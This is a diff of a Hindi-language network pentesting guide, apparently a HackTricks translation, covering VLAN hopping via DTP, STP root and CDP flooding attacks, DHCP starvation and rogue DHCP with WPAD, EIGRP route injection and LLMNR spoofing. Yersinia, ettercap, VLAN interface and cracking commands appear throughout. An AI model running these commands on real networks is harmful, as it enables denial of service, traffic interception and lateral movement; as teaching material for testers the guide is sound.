**डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)** को एक लिंक लेयर प्रोटोकॉल के रूप में डिज़ाइन किया गया है ताकि ट्रंकिंग के लिए एक स्वचालित प्रणाली को सुगम बनाया जा सके, जिससे स्विच ट्रंक मोड (Trunk) या नॉन-ट्रंक मोड के लिए पोर्ट का स्वचालित चयन कर सकें। **DTP** का उपयोग अक्सर उप-इष्टतम नेटवर्क डिज़ाइन का संकेत माना जाता है, जो केवल आवश्यकतानुसार ट्रंक को मैन्युअल रूप से कॉन्फ़िगर करने और उचित दस्तावेज़ीकरण सुनिश्चित करने के महत्व को उजागर करता है।
|
||||
**डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)** को एक लिंक लेयर प्रोटोकॉल के रूप में डिज़ाइन किया गया है ताकि ट्रंकिंग के लिए एक स्वचालित प्रणाली को सक्षम किया जा सके, जिससे स्विच ट्रंक मोड (Trunk) या नॉन-ट्रंक मोड के लिए पोर्ट का स्वचालित चयन कर सकें। **DTP** का उपयोग अक्सर उप-इष्टतम नेटवर्क डिज़ाइन का संकेत माना जाता है, जो केवल आवश्यकतानुसार ट्रंक्स को मैन्युअल रूप से कॉन्फ़िगर करने और उचित दस्तावेज़ीकरण सुनिश्चित करने के महत्व को उजागर करता है।
|
||||
|
||||
डिफ़ॉल्ट रूप से, स्विच पोर्ट को डायनामिक ऑटो मोड में संचालित करने के लिए सेट किया गया है, जिसका अर्थ है कि वे पड़ोसी स्विच द्वारा संकेत मिलने पर ट्रंकिंग शुरू करने के लिए तैयार हैं। एक सुरक्षा चिंता तब उत्पन्न होती है जब एक पेंटेस्टर या हमलावर स्विच से कनेक्ट होता है और एक DTP Desirable फ्रेम भेजता है, जिससे पोर्ट ट्रंक मोड में प्रवेश करता है। यह क्रिया हमलावर को STP फ्रेम विश्लेषण के माध्यम से VLANs की गणना करने और वर्चुअल इंटरफेस सेट करके VLAN विभाजन को दरकिनार करने की अनुमति देती है।
|
||||
|
||||
@ -275,11 +275,11 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
VLANs की गणना करने के लिए, DTP Desirable फ्रेम को जनरेट करने के लिए स्क्रिप्ट [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** का उपयोग करना भी संभव है। **कृपया किसी भी परिस्थिति में स्क्रिप्ट को बाधित न करें। यह हर तीन सेकंड में DTP Desirable को इंजेक्ट करता है। **स्विच पर गतिशील रूप से बनाए गए ट्रंक चैनल केवल पांच मिनट तक जीवित रहते हैं। पांच मिनट बाद, ट्रंक गिर जाता है।**
|
||||
VLANs की गणना करने के लिए, DTP Desirable फ्रेम को जनरेट करने के लिए स्क्रिप्ट [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** का उपयोग करना भी संभव है। **कृपया किसी भी परिस्थिति में स्क्रिप्ट को बाधित न करें। यह हर तीन सेकंड में DTP Desirable को इंजेक्ट करता है। **स्विच पर गतिशील रूप से बनाए गए ट्रंक चैनल केवल पांच मिनट तक जीवित रहते हैं। पांच मिनट के बाद, ट्रंक गिर जाता है।**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
मैं यह बताना चाहूंगा कि **Access/Desirable (0x03)** यह संकेत करता है कि DTP फ्रेम Desirable प्रकार का है, जो पोर्ट को Trunk मोड में स्विच करने के लिए कहता है। और **802.1Q/802.1Q (0xa5)** **802.1Q** एनकैप्सुलेशन प्रकार को इंगित करता है।
|
||||
मैं यह बताना चाहूंगा कि **Access/Desirable (0x03)** यह संकेत करता है कि DTP फ्रेम Desirable प्रकार का है, जो पोर्ट को Trunk मोड में स्विच करने के लिए कहता है। और **802.1Q/802.1Q (0xa5)** **802.1Q** एनकैप्सुलेशन प्रकार को दर्शाता है।
|
||||
|
||||
STP फ्रेम का विश्लेषण करके, **हम VLAN 30 और VLAN 60 के अस्तित्व के बारे में सीखते हैं।**
|
||||
|
||||
@ -287,7 +287,7 @@ STP फ्रेम का विश्लेषण करके, **हम VLAN
|
||||
|
||||
#### विशिष्ट VLAN पर हमला करना
|
||||
|
||||
एक बार जब आप VLAN IDs और IPs मानों को जान लेते हैं, तो आप **एक विशिष्ट VLAN पर हमला करने के लिए एक वर्चुअल इंटरफेस कॉन्फ़िगर कर सकते हैं।**\
|
||||
एक बार जब आप VLAN IDs और IPs मानों को जान लेते हैं, तो आप **एक विशिष्ट VLAN पर हमला करने के लिए एक वर्चुअल इंटरफेस को कॉन्फ़िगर कर सकते हैं।**\
|
||||
यदि DHCP उपलब्ध नहीं है, तो स्थिर IP पता सेट करने के लिए _ifconfig_ का उपयोग करें।
|
||||
```
|
||||
root@kali:~# modprobe 8021q
|
||||
@ -323,11 +323,11 @@ sudo dhclient -v eth0.30
|
||||
```
|
||||
#### Automatic VLAN Hopper
|
||||
|
||||
चर्चा की गई हमले **Dynamic Trunking और वर्चुअल इंटरफेस बनाने और अन्य VLANs के अंदर होस्ट खोजने** को **स्वचालित रूप से** उपकरण द्वारा किया जाता है: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
चर्चा की गई हमले **Dynamic Trunking और वर्चुअल इंटरफेस बनाने और अन्य VLANs के अंदर होस्ट खोजने** को **स्वचालित रूप से किया जाता है** उपकरण द्वारा: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
यदि एक हमलावर को **शिकार होस्ट का MAC, IP और VLAN ID** का मान पता है, तो वह **फ्रेम को डबल टैग** करने की कोशिश कर सकता है जिसमें इसका निर्दिष्ट VLAN और शिकार का VLAN हो और एक पैकेट भेज सकता है। चूंकि **शिकार हमलावर के साथ वापस कनेक्ट नहीं हो पाएगा**, इसलिए **हमलावर के लिए सबसे अच्छा विकल्प UDP के माध्यम से संचार करना** है ताकि कुछ दिलचस्प क्रियाएँ की जा सकें (जैसे SNMP)।
|
||||
यदि एक हमलावर को **शिकार होस्ट का MAC, IP और VLAN ID** का मान पता है, तो वह **फ्रेम को डबल टैग** करने की कोशिश कर सकता है, जिसमें इसका निर्दिष्ट VLAN और शिकार का VLAN हो और एक पैकेट भेज सकता है। चूंकि **शिकार हमलावर के साथ वापस कनेक्ट नहीं हो पाएगा**, इसलिए **हमलावर के लिए सबसे अच्छा विकल्प UDP के माध्यम से संवाद करना** है उन प्रोटोकॉल के लिए जो कुछ दिलचस्प क्रियाएँ कर सकते हैं (जैसे SNMP)।
|
||||
|
||||
हमलावर के लिए एक और विकल्प है **TCP पोर्ट स्कैन लॉन्च करना, एक IP को स्पूफ करना जो हमलावर द्वारा नियंत्रित है और शिकार द्वारा सुलभ है** (संभवतः इंटरनेट के माध्यम से)। फिर, हमलावर अपने दूसरे होस्ट में स्निफ कर सकता है यदि उसे शिकार से कुछ पैकेट मिलते हैं।
|
||||
|
||||
@ -350,24 +350,24 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
कुछ वातावरणों में, जैसे कि अतिथि वायरलेस नेटवर्क, **पोर्ट आइसोलेशन (जिसे प्राइवेट VLAN भी कहा जाता है)** सेटिंग्स लागू की जाती हैं ताकि वायरलेस एक्सेस पॉइंट से जुड़े क्लाइंट एक-दूसरे के साथ सीधे संवाद न कर सकें। हालाँकि, एक तकनीक पहचानी गई है जो इन आइसोलेशन उपायों को बायपास कर सकती है। यह तकनीक या तो नेटवर्क ACLs की कमी या उनकी गलत कॉन्फ़िगरेशन का लाभ उठाती है, जिससे IP पैकेट को एक राउटर के माध्यम से रूट किया जा सकता है ताकि उसी नेटवर्क पर एक अन्य क्लाइंट तक पहुंचा जा सके।
|
||||
कुछ वातावरणों में, जैसे कि अतिथि वायरलेस नेटवर्क, **पोर्ट आइसोलेशन (जिसे प्राइवेट VLAN के रूप में भी जाना जाता है)** सेटिंग्स लागू की जाती हैं ताकि वायरलेस एक्सेस पॉइंट से जुड़े क्लाइंट एक-दूसरे के साथ सीधे संवाद न कर सकें। हालाँकि, एक तकनीक पहचानी गई है जो इन आइसोलेशन उपायों को दरकिनार कर सकती है। यह तकनीक या तो नेटवर्क ACLs की कमी का लाभ उठाती है या उनकी गलत कॉन्फ़िगरेशन का, जिससे IP पैकेट को एक राउटर के माध्यम से रूट किया जा सकता है ताकि उसी नेटवर्क पर एक अन्य क्लाइंट तक पहुंचा जा सके।
|
||||
|
||||
हमला एक **पैकेट बनाकर निष्पादित किया जाता है जो लक्ष्य क्लाइंट का IP पता ले जाता है लेकिन राउटर का MAC पता होता है**। इससे राउटर गलती से पैकेट को लक्षित क्लाइंट की ओर अग्रेषित कर देता है। यह दृष्टिकोण डबल टैगिंग हमलों में उपयोग की जाने वाली विधि के समान है, जहां पीड़ित के लिए सुलभ एक होस्ट को नियंत्रित करने की क्षमता का उपयोग सुरक्षा दोष का लाभ उठाने के लिए किया जाता है।
|
||||
|
||||
**हमले के मुख्य चरण:**
|
||||
|
||||
1. **पैकेट बनाना:** एक पैकेट विशेष रूप से लक्षित क्लाइंट के IP पते को शामिल करने के लिए तैयार किया जाता है लेकिन राउटर के MAC पते के साथ।
|
||||
2. **राउटर व्यवहार का लाभ उठाना:** तैयार पैकेट राउटर की ओर भेजा जाता है, जो कॉन्फ़िगरेशन के कारण पैकेट को लक्षित क्लाइंट की ओर पुनर्निर्देशित करता है, प्राइवेट VLAN सेटिंग्स द्वारा प्रदान किए गए आइसोलेशन को बायपास करता है।
|
||||
1. **पैकेट बनाना:** एक पैकेट विशेष रूप से तैयार किया जाता है जिसमें लक्षित क्लाइंट का IP पता होता है लेकिन राउटर का MAC पता होता है।
|
||||
2. **राउटर व्यवहार का लाभ उठाना:** तैयार पैकेट को राउटर पर भेजा जाता है, जो कॉन्फ़िगरेशन के कारण पैकेट को लक्षित क्लाइंट की ओर अग्रेषित करता है, प्राइवेट VLAN सेटिंग्स द्वारा प्रदान की गई आइसोलेशन को दरकिनार करते हुए।
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
VTP (VLAN ट्रंकिंग प्रोटोकॉल) VLAN प्रबंधन को केंद्रीकृत करता है। यह VLAN डेटाबेस की अखंडता बनाए रखने के लिए संशोधन नंबरों का उपयोग करता है; किसी भी संशोधन से यह संख्या बढ़ जाती है। स्विच उच्च संशोधन नंबरों के साथ कॉन्फ़िगरेशन अपनाते हैं, अपने स्वयं के VLAN डेटाबेस को अपडेट करते हैं।
|
||||
VTP (VLAN Trunking Protocol) VLAN प्रबंधन को केंद्रीकृत करता है। यह VLAN डेटाबेस की अखंडता बनाए रखने के लिए संशोधन नंबरों का उपयोग करता है; किसी भी संशोधन से यह संख्या बढ़ जाती है। स्विच उच्च संशोधन नंबरों के साथ कॉन्फ़िगरेशन अपनाते हैं, अपने स्वयं के VLAN डेटाबेस को अपडेट करते हैं।
|
||||
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTP Server:** VLANs का प्रबंधन करता है—बनाता है, हटाता है, संशोधित करता है। यह डोमेन सदस्यों को VTP घोषणाएँ प्रसारित करता है।
|
||||
- **VTP Client:** अपने VLAN डेटाबेस को समन्वयित करने के लिए VTP घोषणाएँ प्राप्त करता है। इस भूमिका को स्थानीय VLAN कॉन्फ़िगरेशन संशोधनों से प्रतिबंधित किया गया है।
|
||||
- **VTP Transparent:** VTP अपडेट में भाग नहीं लेता लेकिन VTP घोषणाओं को अग्रेषित करता है। VTP हमलों से अप्रभावित, यह शून्य का एक स्थायी संशोधन नंबर बनाए रखता है।
|
||||
- **VTP Transparent:** VTP अपडेट में भाग नहीं लेता लेकिन VTP घोषणाओं को अग्रेषित करता है। VTP हमलों से अप्रभावित, यह शून्य का एक स्थिर संशोधन नंबर बनाए रखता है।
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
@ -375,7 +375,7 @@ VTP (VLAN ट्रंकिंग प्रोटोकॉल) VLAN प्र
|
||||
- **Subset Advertisement:** VLAN कॉन्फ़िगरेशन परिवर्तनों के बाद भेजा जाता है।
|
||||
- **Advertisement Request:** एक VTP क्लाइंट द्वारा Summary Advertisement मांगने के लिए जारी किया जाता है, आमतौर पर उच्च कॉन्फ़िगरेशन संशोधन संख्या का पता लगाने के जवाब में।
|
||||
|
||||
VTP कमजोरियाँ केवल ट्रंक पोर्ट के माध्यम से ही उपयोग की जा सकती हैं क्योंकि VTP घोषणाएँ केवल उनके माध्यम से प्रसारित होती हैं। DTP हमले के परिदृश्यों के बाद VTP की ओर मुड़ सकते हैं। Yersinia जैसे उपकरण VTP हमलों को सुविधाजनक बना सकते हैं, VLAN डेटाबेस को मिटाने के लक्ष्य के साथ, प्रभावी रूप से नेटवर्क को बाधित करते हैं।
|
||||
VTP कमजोरियों का लाभ केवल ट्रंक पोर्ट के माध्यम से उठाया जा सकता है क्योंकि VTP घोषणाएँ केवल उनके माध्यम से प्रसारित होती हैं। DTP हमले के बाद के परिदृश्यों में VTP की ओर मुड़ने की संभावना हो सकती है। Yersinia जैसे उपकरण VTP हमलों को सुविधाजनक बना सकते हैं, जिसका लक्ष्य VLAN डेटाबेस को मिटाना है, जिससे नेटवर्क में व्यवधान उत्पन्न होता है।
|
||||
|
||||
नोट: यह चर्चा VTP संस्करण 1 (VTPv1) से संबंधित है।
|
||||
````bash
|
||||
@ -405,12 +405,12 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
#### **STP Root Attack**
|
||||
|
||||
हमलावर स्विच के व्यवहार का अनुकरण करता है ताकि वह नेटवर्क का STP रूट बन सके। फिर, अधिक डेटा उसके माध्यम से गुजरेगा। यह तब दिलचस्प होता है जब आप दो अलग-अलग स्विचों से जुड़े होते हैं।\
|
||||
यह BPDUs CONF पैकेट भेजकर किया जाता है जिसमें कहा जाता है कि **priority** मान वास्तविक रूट स्विच की वास्तविक प्राथमिकता से कम है।
|
||||
यह BPDUs CONF पैकेट भेजकर किया जाता है जो कहते हैं कि **priority** मान वास्तविक रूट स्विच की वास्तविक प्राथमिकता से कम है।
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
```
|
||||
**यदि हमलावर 2 स्विचों से जुड़ा है, तो वह नए पेड़ का मूल बन सकता है और उन स्विचों के बीच सभी ट्रैफ़िक उसके माध्यम से गुजरेगा** (एक MITM हमला किया जाएगा)।
|
||||
**यदि हमलावर 2 स्विचों से जुड़ा है, तो वह नए पेड़ की जड़ बन सकता है और उन स्विचों के बीच सभी ट्रैफ़िक उसके माध्यम से गुजरेगा** (एक MITM हमला किया जाएगा)।
|
||||
```bash
|
||||
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
|
||||
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
|
||||
@ -421,24 +421,24 @@ CISCO Discovery Protocol (CDP) CISCO उपकरणों के बीच स
|
||||
|
||||
#### पैसिव डेटा संग्रह <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
CDP को सभी पोर्टों के माध्यम से जानकारी प्रसारित करने के लिए कॉन्फ़िगर किया गया है, जो सुरक्षा जोखिम का कारण बन सकता है। एक हमलावर, जब एक स्विच पोर्ट से जुड़ता है, तो वह **Wireshark**, **tcpdump**, या **Yersinia** जैसे नेटवर्क स्निफ़र्स को तैनात कर सकता है। यह क्रिया नेटवर्क उपकरण के बारे में संवेदनशील डेटा प्रकट कर सकती है, जिसमें इसका मॉडल और जिस संस्करण का Cisco IOS वह चलाता है। हमलावर फिर पहचाने गए Cisco IOS संस्करण में विशिष्ट कमजोरियों को लक्षित कर सकता है।
|
||||
CDP को सभी पोर्टों के माध्यम से जानकारी प्रसारित करने के लिए कॉन्फ़िगर किया गया है, जो सुरक्षा जोखिम का कारण बन सकता है। एक हमलावर, जब एक स्विच पोर्ट से जुड़ता है, तो वह **Wireshark**, **tcpdump**, या **Yersinia** जैसे नेटवर्क स्निफ़र्स को तैनात कर सकता है। यह क्रिया नेटवर्क उपकरण के बारे में संवेदनशील डेटा प्रकट कर सकती है, जिसमें इसका मॉडल और वह Cisco IOS संस्करण शामिल है जो यह चलाता है। हमलावर फिर पहचाने गए Cisco IOS संस्करण में विशिष्ट कमजोरियों को लक्षित कर सकता है।
|
||||
|
||||
#### CDP टेबल बाढ़ को प्रेरित करना <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
एक अधिक आक्रामक दृष्टिकोण में स्विच की मेमोरी को अधिभारित करके Denial of Service (DoS) हमला शुरू करना शामिल है, जो वैध CISCO उपकरणों की तरह व्यवहार करता है। नीचे Yersinia का उपयोग करके ऐसे हमले को शुरू करने के लिए आदेश अनुक्रम दिया गया है:
|
||||
एक अधिक आक्रामक दृष्टिकोण में स्विच की मेमोरी को अधिभारित करके Denial of Service (DoS) हमला शुरू करना शामिल है, जो वैध CISCO उपकरणों की तरह व्यवहार करता है। नीचे Yersinia का उपयोग करके इस तरह के हमले को शुरू करने के लिए आदेश अनुक्रम दिया गया है:
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
इस हमले के दौरान, स्विच का CPU और CDP पड़ोसी तालिका भारी बोझिल हो जाती है, जिससे इसे अक्सर **“नेटवर्क लकवाग्रस्त”** कहा जाता है क्योंकि संसाधनों का अत्यधिक उपभोग होता है।
|
||||
इस हमले के दौरान, स्विच का CPU और CDP पड़ोसी तालिका भारी बोझ में होती है, जो अक्सर **“नेटवर्क लकवाग्रस्त”** के रूप में संदर्भित किया जाता है, अत्यधिक संसाधन खपत के कारण।
|
||||
|
||||
#### CDP Impersonation Attack
|
||||
#### CDP impersonation Attack
|
||||
```bash
|
||||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
```
|
||||
आप [**scapy**](https://github.com/secdev/scapy/) का भी उपयोग कर सकते हैं। सुनिश्चित करें कि इसे `scapy/contrib` पैकेज के साथ स्थापित करें।
|
||||
आप [**scapy**](https://github.com/secdev/scapy/) का भी उपयोग कर सकते हैं। सुनिश्चित करें कि इसे `scapy/contrib` पैकेज के साथ स्थापित किया गया है।
|
||||
|
||||
### VoIP हमले और VoIP Hopper उपकरण
|
||||
|
||||
@ -489,7 +489,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**DoS के दो प्रकार** DHCP सर्वरों के खिलाफ किए जा सकते हैं। पहला यह है कि **पर्याप्त फर्जी होस्ट का अनुकरण करें ताकि सभी संभावित IP पते का उपयोग किया जा सके**।\
|
||||
**DoS के दो प्रकार** DHCP सर्वरों के खिलाफ किए जा सकते हैं। पहला यह है कि **काफी सारे फर्जी होस्ट का अनुकरण करें ताकि सभी संभावित IP पते का उपयोग किया जा सके**।\
|
||||
यह हमला केवल तभी काम करेगा जब आप DHCP सर्वर के उत्तर देख सकें और प्रोटोकॉल को पूरा कर सकें (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))। उदाहरण के लिए, यह **Wifi नेटवर्क में संभव नहीं है**।
|
||||
|
||||
DHCP DoS करने का एक और तरीका है **DHCP-RELEASE पैकेट भेजना जिसमें स्रोत कोड के रूप में हर संभव IP का उपयोग किया जाए**। फिर, सर्वर सोचेगा कि सभी ने IP का उपयोग करना समाप्त कर दिया है।
|
||||
@ -499,7 +499,7 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
एक अधिक स्वचालित तरीका यह है कि आप उपकरण [DHCPing](https://github.com/kamorin/DHCPig) का उपयोग करें।
|
||||
|
||||
आप उल्लेखित DoS हमलों का उपयोग करके क्लाइंट को वातावरण के भीतर नए लीज़ प्राप्त करने के लिए मजबूर कर सकते हैं, और वैध सर्वरों को समाप्त कर सकते हैं ताकि वे अनुत्तरदायी हो जाएं। इसलिए जब वैध पुनः कनेक्ट करने की कोशिश करते हैं, **आप अगले हमले में उल्लेखित दुर्भावनापूर्ण मान सर्वर कर सकते हैं**।
|
||||
आप उल्लेखित DoS हमलों का उपयोग करके क्लाइंट को पर्यावरण के भीतर नए लीज़ प्राप्त करने के लिए मजबूर कर सकते हैं, और वैध सर्वरों को समाप्त कर सकते हैं ताकि वे अनुत्तरदायी हो जाएं। इसलिए जब वैध पुनः कनेक्ट करने की कोशिश करते हैं, **आप अगले हमले में उल्लेखित दुर्भावनापूर्ण मान सर्वर कर सकते हैं**।
|
||||
|
||||
#### दुर्भावनापूर्ण मान सेट करें
|
||||
|
||||
@ -514,7 +514,7 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
- **द्वितीयक DNS सर्वर IP**: वैकल्पिक रूप से, द्वितीयक DNS सर्वर IP सेट करने के लिए `-s 10.0.0.1` का उपयोग करें।
|
||||
- **स्थानीय नेटवर्क का नेटमास्क**: स्थानीय नेटवर्क के लिए नेटमास्क को परिभाषित करने के लिए `-n 255.255.255.0` का उपयोग करें।
|
||||
- **DHCP ट्रैफ़िक के लिए इंटरफ़ेस**: एक विशिष्ट नेटवर्क इंटरफ़ेस पर DHCP ट्रैफ़िक सुनने के लिए `-I eth1` का उपयोग करें।
|
||||
- **WPAD कॉन्फ़िगरेशन पता**: वेब ट्रैफ़िक इंटरसेप्शन में सहायता करने के लिए WPAD कॉन्फ़िगरेशन के लिए पता सेट करने के लिए `-w “http://10.0.0.100/wpad.dat”` का उपयोग करें।
|
||||
- **WPAD कॉन्फ़िगरेशन पता**: वेब ट्रैफ़िक इंटरसेप्शन में सहायता के लिए WPAD कॉन्फ़िगरेशन के लिए पता सेट करने के लिए `-w “http://10.0.0.100/wpad.dat”` का उपयोग करें।
|
||||
- **डिफ़ॉल्ट गेटवे IP को स्पूफ करें**: डिफ़ॉल्ट गेटवे IP पते को स्पूफ करने के लिए `-S` शामिल करें।
|
||||
- **सभी DHCP अनुरोधों का उत्तर दें**: सभी DHCP अनुरोधों का उत्तर देने के लिए `-R` शामिल करें, लेकिन ध्यान रखें कि यह शोर करता है और इसे पता लगाया जा सकता है।
|
||||
|
||||
@ -539,7 +539,7 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) एक नेटवर्क प्रोटोकॉल का वर्ग है जिसे **एक गर्म अतिरिक्त रूटिंग प्रणाली** बनाने के लिए डिज़ाइन किया गया है। FHRP के साथ, भौतिक राउटर को एकल तार्किक डिवाइस में जोड़ा जा सकता है, जो दोष सहिष्णुता को बढ़ाता है और लोड को वितरित करने में मदद करता है।
|
||||
**FHRP** (First Hop Redundancy Protocol) एक नेटवर्क प्रोटोकॉल की श्रेणी है जिसे **एक गर्म अतिरिक्त रूटिंग प्रणाली** बनाने के लिए डिज़ाइन किया गया है। FHRP के साथ, भौतिक राउटर को एकल तार्किक डिवाइस में जोड़ा जा सकता है, जो दोष सहिष्णुता को बढ़ाता है और लोड को वितरित करने में मदद करता है।
|
||||
|
||||
**Cisco Systems के इंजीनियरों ने दो FHRP प्रोटोकॉल विकसित किए हैं, GLBP और HSRP।**
|
||||
|
||||
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Routing Information Protocol (RIP) के तीन संस्करण ज्ञात हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 द्वारा डाटाग्राम को UDP के माध्यम से पोर्ट 520 पर साथियों को भेजा जाता है, जबकि RIPng द्वारा डाटाग्राम को IPv6 मल्टीकास्ट के माध्यम से UDP पोर्ट 521 पर प्रसारित किया जाता है। MD5 प्रमाणीकरण का समर्थन RIPv2 द्वारा पेश किया गया था। दूसरी ओर, RIPng द्वारा स्वदेशी प्रमाणीकरण शामिल नहीं किया गया है; इसके बजाय, IPv6 में वैकल्पिक IPsec AH और ESP हेडर पर निर्भरता रखी जाती है।
|
||||
Routing Information Protocol (RIP) के तीन संस्करण ज्ञात हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 द्वारा UDP के माध्यम से पोर्ट 520 पर साथियों को डाटाग्राम भेजे जाते हैं, जबकि RIPng द्वारा IPv6 मल्टीकास्ट के माध्यम से UDP पोर्ट 521 पर डाटाग्राम प्रसारित किए जाते हैं। RIPv2 द्वारा MD5 प्रमाणीकरण का समर्थन पेश किया गया था। दूसरी ओर, RIPng में स्वदेशी प्रमाणीकरण शामिल नहीं है; इसके बजाय, IPv6 में वैकल्पिक IPsec AH और ESP हेडर पर निर्भरता रखी जाती है।
|
||||
|
||||
- **RIP और RIPv2:** संचार UDP डाटाग्राम के माध्यम से पोर्ट 520 पर किया जाता है।
|
||||
- **RIPng:** IPv6 मल्टीकास्ट के माध्यम से डाटाग्राम प्रसारित करने के लिए UDP पोर्ट 521 का उपयोग करता है।
|
||||
@ -560,7 +560,7 @@ Routing Information Protocol (RIP) के तीन संस्करण ज्
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** एक गतिशील रूटिंग प्रोटोकॉल है। **यह एक दूरी-वेक्तर प्रोटोकॉल है।** यदि **कोई प्रमाणीकरण** और निष्क्रिय इंटरफेस का कॉन्फ़िगरेशन नहीं है, तो एक **आक्रमणकारी** EIGRP रूटिंग में हस्तक्षेप कर सकता है और **रूटिंग तालिकाओं को विषाक्त** कर सकता है। इसके अलावा, EIGRP नेटवर्क (दूसरे शब्दों में, स्वायत्त प्रणाली) **समतल है और किसी भी क्षेत्र में विभाजित नहीं है**। यदि एक **हमलावर एक मार्ग इंजेक्ट करता है**, तो यह संभावना है कि यह मार्ग स्वायत्त EIGRP प्रणाली में **फैल जाएगा**।
|
||||
|
||||
EIGRP प्रणाली पर हमला करने के लिए **एक वैध EIGRP राउटर के साथ पड़ोस स्थापित करना आवश्यक है**, जो बुनियादी अन्वेषण से लेकर विभिन्न इंजेक्शनों तक कई संभावनाएँ खोलता है।
|
||||
EIGRP प्रणाली पर हमला करने के लिए **एक वैध EIGRP राउटर के साथ एक पड़ोस स्थापित करना आवश्यक है**, जो बुनियादी अन्वेषण से लेकर विभिन्न इंजेक्शनों तक कई संभावनाओं को खोलता है।
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) आपको **BGP, OSPF, EIGRP, RIP और अन्य प्रोटोकॉल का समर्थन करने वाले एक आभासी राउटर को लागू करने की अनुमति देता है।** आपको बस इसे अपने हमलावर के सिस्टम पर तैनात करना है और आप वास्तव में रूटिंग डोमेन में एक वैध राउटर होने का नाटक कर सकते हैं।
|
||||
|
||||
@ -615,7 +615,7 @@ dig @localhost domain.example.com # Test the configured DNS
|
||||
```
|
||||
### स्थानीय गेटवे
|
||||
|
||||
सिस्टम और नेटवर्क के लिए कई मार्ग अक्सर होते हैं। स्थानीय नेटवर्क के भीतर MAC पतों की एक सूची बनाने के बाद, IPv4 फॉरवर्डिंग का समर्थन करने वाले होस्ट की पहचान करने के लिए _gateway-finder.py_ का उपयोग करें।
|
||||
सिस्टमों और नेटवर्कों के लिए अक्सर कई मार्ग होते हैं। स्थानीय नेटवर्क के भीतर MAC पतों की एक सूची बनाने के बाद, IPv4 फॉरवर्डिंग का समर्थन करने वाले होस्टों की पहचान करने के लिए _gateway-finder.py_ का उपयोग करें।
|
||||
```
|
||||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||||
root@kali:~# cd gateway-finder/
|
||||
@ -635,24 +635,24 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
स्थानीय होस्ट समाधान के लिए जब DNS लुकअप असफल होते हैं, Microsoft सिस्टम **Link-Local Multicast Name Resolution (LLMNR)** और **NetBIOS Name Service (NBT-NS)** पर निर्भर करते हैं। इसी तरह, **Apple Bonjour** और **Linux zero-configuration** कार्यान्वयन नेटवर्क के भीतर सिस्टम खोजने के लिए **Multicast DNS (mDNS)** का उपयोग करते हैं। इन प्रोटोकॉल की बिना प्रमाणीकरण वाली प्रकृति और UDP पर उनके संचालन के कारण, संदेशों का प्रसारण करते हुए, हमलावरों द्वारा उपयोगकर्ताओं को दुर्भावनापूर्ण सेवाओं की ओर मोड़ने के लिए इनका शोषण किया जा सकता है।
|
||||
स्थानीय होस्ट समाधान के लिए जब DNS लुकअप असफल होते हैं, Microsoft सिस्टम **Link-Local Multicast Name Resolution (LLMNR)** और **NetBIOS Name Service (NBT-NS)** पर निर्भर करते हैं। इसी तरह, **Apple Bonjour** और **Linux zero-configuration** कार्यान्वयन नेटवर्क के भीतर सिस्टम खोजने के लिए **Multicast DNS (mDNS)** का उपयोग करते हैं। इन प्रोटोकॉल की प्रमाणीकरण रहित प्रकृति और UDP पर उनके संचालन के कारण, संदेशों का प्रसारण करते हुए, हमलावरों द्वारा उपयोगकर्ताओं को दुर्भावनापूर्ण सेवाओं की ओर मोड़ने के लिए इनका शोषण किया जा सकता है।
|
||||
|
||||
आप Responder का उपयोग करके होस्ट द्वारा खोजी गई सेवाओं की नकल कर सकते हैं ताकि नकली प्रतिक्रियाएँ भेजी जा सकें।\
|
||||
